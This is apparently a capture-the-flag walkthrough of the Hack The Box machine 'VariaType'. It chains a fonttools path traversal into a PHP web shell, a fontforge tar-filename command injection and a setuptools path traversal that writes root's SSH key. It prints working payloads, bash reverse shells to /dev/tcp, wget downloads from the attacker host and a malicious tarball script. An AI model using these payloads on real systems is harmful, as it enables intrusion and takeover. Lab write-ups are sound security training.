VariaType - HTB Seasonal Medium
Table of Contents
Enumeration
NMAP Scan:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_ 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: VariaType Labs \xE2\x80\x94 Variable Font Generator
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
VHOSTS:
portal.variatype.htb Status: 200 [Size: 2494]
portal.variatype.htb is showing PHPSESSID in cookie, so we can assume, for now, that both apps are written in PHP:
~/htb/lab/variatype ✓ $ curl -I http://portal.variatype.htb
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 15 Mar 2026 22:04:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: PHPSESSID=rrl86q95qc97bsks4kqccu1n5d; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Files and subdirs on portal.variatype.htb
$ gobuster dir -u http://portal.variatype.htb/ -w /opt/seclists/Discovery/Web-Content/raft-large-directories.txt -x php
download.php (Status: 302) [Size: 0] [--> /]
files (Status: 301) [Size: 169] [--> http://portal.variatype.htb/files/]
index.php (Status: 200) [Size: 2494]
view.php (Status: 302) [Size: 0] [--> /]
auth.php (Status: 200) [Size: 0]
dashboard.php (Status: 302) [Size: 0] [--> /]
$ gobuster dir -u http://portal.variatype.htb/ -w /opt/seclists/Discovery/Web-Content/raft-large-files.txt
index.php (Status: 200) [Size: 2494]
download.php (Status: 302) [Size: 0] [--> /]
auth.php (Status: 200) [Size: 0]
view.php (Status: 302) [Size: 0] [--> /]
. (Status: 200) [Size: 2494]
styles.css (Status: 200) [Size: 8789]
dashboard.php (Status: 302) [Size: 0] [--> /]
.git (Status: 301) [Size: 169] [--> http://portal.variatype.htb/.git/]
portal.variatype.htb git
Let's dump the git repo found on the portal VHOST using git-dumper:
~/htb/lab/variatype ✓ $ git-dumper http://portal.variatype.htb/.git/ ./portal-source
[-] Testing http://portal.variatype.htb/.git/HEAD [200]
[-] Testing http://portal.variatype.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://portal.variatype.htb/.gitignore [404]
[-] http://portal.variatype.htb/.gitignore responded with status code 404
[-] Fetching http://portal.variatype.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://portal.variatype.htb/.git/hooks/applypatch-msg.sample [200]
Check commits and 'show' them:
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <[email protected]>
Date: Fri Dec 5 15:59:33 2025 -0500
fix: add gitbot user for automated validation pipeline
diff --git a/auth.php b/auth.php
index 615e621..b328305 100644
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
<?php
session_start();
-$USERS = [];
+$USERS = [
+ 'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];
Those are the credentials for the portal.variatype.htb dashboard:
'gitbot' => 'G1tB0t_Acc3ss_2025!'
http://variatype.htb web app
- Port 80: Running a web app that lets you generate a variable font based on the uploaded .designspace and the master font files.
Looking around for the recent vulnerabilities in font processing libraries, there's CVE-2025-660341, which is arbitrary file vulnerability in Python library fonttools varLib, which allows for arbitrary file writes, and can lead to the RCE.
CVE-2025-66034
Vulnerability is in the following section
File: fontTools/varLib/__init__.py
filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write
Improper handling of the file name allows to pass all kinds of inputs, including ../../../. We can inject the PHP payload code into the labelname XML field.
<labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']); ?>]]]]><![CDATA[>]]></labelname>
and then in variable-fonts > variable-font provide the filename parameter with the path where we want to save the shell file.
While you may bruteforce the correct path to the portal.variatype.htb webroot, looking around files and sources in the web app, there's an interesting comment in the style.css file:
/* /var/www/dev.variatype.htb/styles.css */
:root {
/* ── Paleta corporativa refinada ─────────────────────── */
--text: #1a1e29;
--text-light: #4a5568;
Comment at the top points to, presumably, dev environment for portal, so we can just change dev -> portal and test it out. After couple of fails and retries, i found:
/var/www/portal.variatype.htb/public/files/shell.php
./files is the subdir gobuster found earlier. If we take a look at the portal app, it lists all of the uploaded files, we can see that our request uploaded file successfully and it's visible from the portal.
Shell at ./files/shell.php
There it is, shell successfully injected and executing, under www-data user.
Reverse Shell
Instead of sending whole connection string as a payload, we can simply make a small bash script which connects back to the netcat listener running on our machine. And then simply upload it and invoke it with shell.php.
Make the script, and serve it with python http server.
~/tools/shells/reverse_shell ( main) ✓ $ cat rev.sh
#!/usr/bin/env bash
bash -i >& /dev/tcp/10.10.14.42/4444 0>&1
~/tools/shells/reverse_shell ( main) ✓ $ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Download the rev.sh script.
curl "http://portal.variatype.htb/files/shell.php?cmd=wget+http://10.10.14.42:8000/rev.sh"
Launch the bash script:
~/htb/lab/variatype ✗23 $ curl "http://portal.variatype.htb/files/shell.php?cmd=bash+/var/www/portal.variatype.htb/public/files/rev.sh"
Check the netcat listener:
~/htb/lab/variatype ✓ $ nc -lnvp 4444
Connection from 10.129.10.10:44870
bash: cannot set terminal process group (3449): Inappropriate ioctl for device
bash: no job control in this shell
www-data@variatype:~/portal.variatype.htb/public/files$
Pivot to user steve
Searching for the interesting files, we come across the /opt directory containing some bash scripts and various files. There's one owned by steve user:
www-data@variatype:/opt$ ls -las /opt
4 drwxr-xr-x 3 root root 4096 Mar 9 08:29 font-tools
4 -rwxr-xr-- 1 steve steve 2018 Feb 26 07:50 process_client_submissions.bak
4 drwxr-xr-x 4 variatype variatype 4096 Mar 9 08:29 variatype
cat /opt/process_client_submissions.bak
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <[email protected]>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#
set -euo pipefail
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"
mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"
log() {
echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}
cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }
shopt -s nullglob
EXTENSIONS=(
"*.ttf" "*.otf" "*.woff" "*.woff2"
"*.zip" "*.tar" "*.tar.gz"
"*.sfd"
)
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
found_any=0
for ext in "${EXTENSIONS[@]}"; do
for file in $ext; do
found_any=1
[[ -f "$file" ]] || continue
[[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }
# Enforce strict naming policy
if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
log "QUARANTINE: Filename contains invalid characters: $file"
mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
continue
fi
log "Processing submission: $file"
if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
font = fontforge.open('$file')
family = getattr(font, 'familyname', 'Unknown')
style = getattr(font, 'fontname', 'Default')
print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
font.close()
except Exception as e:
print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
sys.exit(1)
"; then
log "SUCCESS: Validated $file"
else
log "WARNING: FontForge reported issues with $file"
fi
mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
done
done
if [[ $found_any -eq 0 ]]; then
log "No eligible submissions found."
fi
This script collects our uploaded fonts from within the directory where our shell.php got uploaded. Then tries to validate its filename, and if that passes, script processes uploaded file with fontforge.
Checking to find the fontforge library version:
www-data@variatype:/opt$ /usr/local/src/fontforge/build/bin/fontforge --version
Copyright (c) 2000-2025. See AUTHORS for Contributors.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
with many parts BSD <http://fontforge.org/license.html>. Please read LICENSE.
Version: 20230101
Based on sources from 2025-12-07 11:44 UTC-D.
Based on source from git with hash: a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf
fontforge 20230101
Which seems to be vulnerable to the command injection via crafted archives or compressed files. CVE: 2CVE-2024-25082
Exploiting CVE-2024-25082
We need to make a tarball which contains our payload. and payload is simply filename followed by the ';' char, which will break fontforge .open() and execute the command which follows ;.
www-data@variatype:~/portal.variatype.htb/public/files$ echo 'bash -i >& /dev/tcp/10.10.14.42/1234 0>&1' > /tmp/rev.sh
<-i >& /dev/tcp/10.10.14.42/1234 0>&1' > /tmp/rev.sh
www-data@variatype:~/portal.variatype.htb/public/files$ chmod +x /tmp/rev.sh
import tarfile
payload = "evilfont.sfd;bash /tmp/rev.sh;"
with tarfile.open('exploit.tar', 'w') as tar:
tarinfo = tarfile.TarInfo(name=payload)
tarinfo.size = 1
tar.addfile(tarinfo, open('/dev/zero', 'rb'))
Run that script and it will generate exploit.tar, next we serve it from our attack box, and wget it from the www-data shell we already have.
NOTE DO NOT forget to run netcat listener on 1234:
wget http://10.10.14.42:8080/exploit.tar
--2026-03-15 21:53:26-- http://10.10.14.42:8080/exploit.tar
Connecting to 10.10.14.42:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-tar]
Saving to: 'exploit.tar'
0K .......... 100% 43.3M=0s
2026-03-15 21:53:27 (43.3 MB/s) - 'exploit.tar' saved [10240/10240]
Wait until the timer kicks /opt/process_client_submissions.bak script
~/htb/lab/variatype ✗1 $ nc -lnvp 1234
Connection from 10.129.10.10:40194
steve@variatype:/tmp/ffarchive-5887-1$ id
uid=1000(steve) gid=1000(steve) groups=1000(steve)
steve@variatype:/tmp/ffarchive-5887-1$ ls ~/
bin
logs
processed_fonts
quarantine
user.txt
steve@variatype:~$ cat user.txt
0c46125004bc4d....
Privilege Escalation
steve@variatype:/opt$ sudo -l
Matching Defaults entries for steve on variatype:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
The install_validator.py script:
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.
Example usage:
sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""
import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex
# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"
# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(sys.stdout)
]
)
def is_valid_url(url):
try:
result = urlparse(url)
return all([result.scheme in ('http', 'https'), result.netloc])
except Exception:
return False
def install_validator_plugin(plugin_url):
if not os.path.exists(PLUGIN_DIR):
os.makedirs(PLUGIN_DIR, mode=0o755)
logging.info(f"Attempting to install plugin from: {plugin_url}")
index = PackageIndex()
try:
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
logging.info(f"Plugin installed at: {downloaded_path}")
print("[+] Plugin installed successfully.")
except Exception as e:
logging.error(f"Failed to install plugin: {e}")
print(f"[-] Error: {e}")
sys.exit(1)
def main():
if len(sys.argv) != 2:
print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
sys.exit(1)
plugin_url = sys.argv[1]
if not is_valid_url(plugin_url):
print("[-] Invalid URL. Must start with http:// or https://")
sys.exit(1)
if plugin_url.count('/') > 10:
print("[-] Suspiciously long URL. Aborting.")
sys.exit(1)
install_validator_plugin(plugin_url)
if __name__ == "__main__":
if os.geteuid() != 0:
print("[-] This script must be run as root (use sudo).")
sys.exit(1)
main()
Looking at the function processing the 'plugin' packages, PackageIndex.download() there's a vulnerability allowing path traversal in setuptools versions lower than the 78.1.1.
CVE-2025-472733
Checking up the setuptools version installed:
steve@variatype:/opt/font-tools$ python3 -c "import setuptools; print(setuptools.__version__)"
78.1.0
Vulnerable! Now we need to craft URL request containing path to root authorized_keys, and serve our public key instead, with the python http server.
Exploitation
Serving our pub key to be written to the root.ssh/authorized_keys
~/htb/lab/variatype ✓ $ mkdir -p root/.ssh
~/htb/lab/variatype ✓ $ cp ~/.ssh/id_rsa.pub root/.ssh/authorized_keys
~/htb/lab/variatype ✓ $ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Downloading and writing key with directory traversal in URL:
steve@variatype:/opt/font-tools$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://10.10.14.42:8080/%2froot%2f.ssh%2fauthorized_keys#egg=evil-1.0"
2026-03-15 22:52:24,436 [INFO] Attempting to install plugin from: http://10.10.14.42:8080/%2froot%2f.ssh%2fauthorized_keys#egg=evil-1.0
2026-03-15 22:52:24,444 [INFO] Downloading http://10.10.14.42:8080/%2froot%2f.ssh%2fauthorized_keys#egg=evil-1.0
2026-03-15 22:52:24,511 [INFO] Plugin installed at: /root/.ssh/authorized_keys
Success! The last line tells us it's written in root.ssh, instead of opt/font-tools/validators.
~/htb/lab/variatype ✗130 $ ssh [email protected]
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)
root@variatype:~# cat root.txt
8a354cba3c3606....
Footnotes:
CVE-2025-66034 - https://github.com/advisories/GHSA-768j-98cg-p3fv
CVE-2024-25082 - https://nvd.nist.gov/vuln/detail/CVE-2024-25082
CVE-2025-47273 - https://security.snyk.io/vuln/SNYK-PYTHON-SETUPTOOLS-9964606